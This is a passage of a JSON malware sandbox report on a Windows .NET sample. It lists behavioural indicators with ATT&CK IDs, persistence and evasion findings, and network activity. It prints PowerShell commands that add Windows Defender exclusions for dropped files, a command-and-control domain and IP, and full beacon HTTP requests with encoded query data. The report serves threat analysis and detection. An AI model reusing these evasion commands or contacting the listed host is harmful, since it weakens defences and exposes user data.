\"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$76","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 600028d-ctor","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000364.00000000.67925.E13C6000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000364.00000000.67925.E13C6000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000364.00000000.67925.E13C6000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"CADC9B2D4650DA0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$77","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00001248.00000002.72351.B6380000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\\\a45e2d72a3718dd27e9b0703307a2e4a.exe'\" (UID: 00000000-00001248)\n Process \"powershell.exe\" with commandline \"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\\\(x86)\\\\Microsoft OneDrive\\\\dllhost.exe'\" (UID: 00000000-00007296)\n Process \"powershell.exe\" with commandline \"\"powershell\" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\\\Tasks\\\\OSPPSVC.exe'\" (UID: 00000000-00001292)\n Process \"powershell.exe\" with commandline \"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\\\(x86)\\\\MSBuild\\\\Microsoft\\\\Windows Workflow Foundation\\\\v3.0\\\\AutoIt3_x64.exe'\" (UID: 00000000-00008120)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00000364.00000000.67925.E13C6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001248.00000002.72351.FF368000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"a45e2d72a3718dd27e9b0703307a2e4a.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\a45e2d72a3718dd27e9b0703307a2e4a.exe.log]- [targetUID: 00000000-00007792]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001248]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"dllhost.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"RCX39E1.tmp\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"RCX2E95.tmp\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"RCX34CF.tmp\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"RCX27AE.tmp\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"AutoIt3_x64.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"a45e2d72a3718dd27e9b0703307a2e4a.exe\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .text\n .text\n .text\n .text\n .text with unusual entropies 7.54182091599\n 7.54182091599\n 7.54182091599\n 7.54182091599\n 7.54182091599\n 7.54182091599","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')\" (Indicator: \" win32_pnpentity\"; File: \"a45e2d72a3718dd27e9b0703307a2e4a.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Commonly Abused Domain Service Domain in DNS Lookup (temp .swtest .ru)\" (SID: 2042978, Rev: 1, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$78","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$79","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"$7a","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" wrote 376 bytes starting with PE header signature to file \"C:\\RCX27AE.tmp\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \"a45e2d72a3718dd27e9b0703307a2e4a.exe\" wrote 376 bytes starting with PE header signature to file \"C:\\Program Files (x86)\\Microsoft OneDrive\\RCX2E95.tmp\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 77.222.40.147 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001248)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter D:\\ (UID: 00000000-00001248)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00001248)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"$7b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"hostname\" (Indicator: \"hostname\"; File: \"a45e2d72a3718dd27e9b0703307a2e4a.exe\")\n Found string \"ping 0, GenV\" (Indicator: \"ping\"; Source: \"00000000-00001248.00000000.68514.9BE40000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001248.00000002.72351.A2A30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")\n \"AutoIt3_x64.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access/write temporary files","description":"Process \"%WINDIR%\\System32\\cmd.exe\" with commandline \"/C \"%TEMP%\\\\rgVo7Q94jw.bat\"\" (UID: 00000000-00005324)","origin":"Monitored Target","mitre_attack_id":"T1074.001","relevance":5,"id":"target-423","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$7c","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$7d","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contacts Mail Related Domain Names","description":"\"fwjfiwmail.temp.swtest.ru\" is probably a mail server","origin":"Network Traffic","mitre_attack_id":"T1071.003","relevance":10,"id":"network-18","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"\"RCX39E1.tmp\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\RCX39E1.tmp]- [targetUID: 00000000-00007792]\n \"RCX2E95.tmp\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\RCX2E95.tmp]- [targetUID: 00000000-00007792]\n \"RCX34CF.tmp\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%WINDIR%\\Tasks\\RCX34CF.tmp]- [targetUID: 00000000-00007792]\n \"RCX27AE.tmp\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [C:\\RCX27AE.tmp]- [targetUID: 00000000-00007792]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a file that contains system information","description":"\"rgVo7Q94jw.bat\" contains indicator \"HAPUBWS\" (Line: 4; Offset: 23)","origin":"Binary File","mitre_attack_id":"T1005","relevance":3,"id":"binary-58","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe.log\" contains indicator \".Run\" (Line: 12; Offset: 9)","origin":"Binary File","mitre_attack_id":"T1105","relevance":8,"id":"binary-4","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"Delete\" (Source: a45e2d72a3718dd27e9b0703307a2e4a.exe, API is part of module: WMINET_UTILS.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"a45e2d72a3718dd27e9b0703307a2e4a.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /C \"%TEMP%\\rgVo7Q94jw.bat\"\" - (UID: 00000000-00007792)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Cryptographic Related","name":"Hooks key cryptographic functions of the CryptoAPI","description":"\"BCryptImportKey@BCRYPT.DLL\" in \"powershell.exe\"\n \"BCryptImportKeyPair@BCRYPT.DLL\" in \"powershell.exe\"\n \"BCryptDecrypt@BCRYPT.DLL\" in \"powershell.exe\"\n \"BCryptEncrypt@BCRYPT.DLL\" in \"powershell.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\" was dropped at \"%WINDIR%\\Tasks\\RCX34CF.tmp\"\n File type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\" was dropped at \"%WINDIR%\\Tasks\\OSPPSVC.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 1BAA0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"$7e","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$7f","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36\n Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$80","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"Hooks API calls"},{"detail":"Hooks key cryptographic functions of the CryptoAPI"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Tries to modify winlogon helper dll registry key to achieve persistence"}],"sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}]},"activity":{"stats":{"process_count":17,"spawned_processes_count":17,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":38,"imported_dlls_count":115,"dropped_files_count":0,"extracted_files_count":19,"files_written_count":29,"files_deleted_count":0,"registry_keys_created_count":42,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":42,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"65b38ec90c39817d070bc495","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"a45e2d72a3718dd27e9b0703307a2e4a.exe","analysis_start_time":"2024-01-26T10:51:53+00:00","indicators_count":{"informative":239,"suspicious":61,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"77.222.40.147","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}],"dns_resolutions":[{"domain":"fwjfiwmail.temp.swtest.ru","address":"77.222.40.147","ttl":600,"country":"Russian Federation","registrar_name":"R01-RU","registrar_organization":"SpaceWeb LLC","registrar_name_servers":"ns1.spaceweb.ru.","registrar_creation_date":"2013-12-13T11:31:08+00:00","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}],"http_requests":[{"host":"fwjfiwmail.temp.swtest.ru","host_ip":"77.222.40.147:80","url":"/_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB","method":"GET","response_code":"503","response_phrase":"Service Temporarily Unavailable","header":"GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36\nHost: fwjfiwmail.temp.swtest.ru\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"host":"fwjfiwmail.temp.swtest.ru","host_ip":"77.222.40.147:80","url":"/_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc","method":"GET","response_code":"503","response_phrase":"Service Temporarily Unavailable","header":"GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1\nAccept: */*\nContent-Type: text/plain\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\nHost: fwjfiwmail.temp.swtest.ru\nConnection: 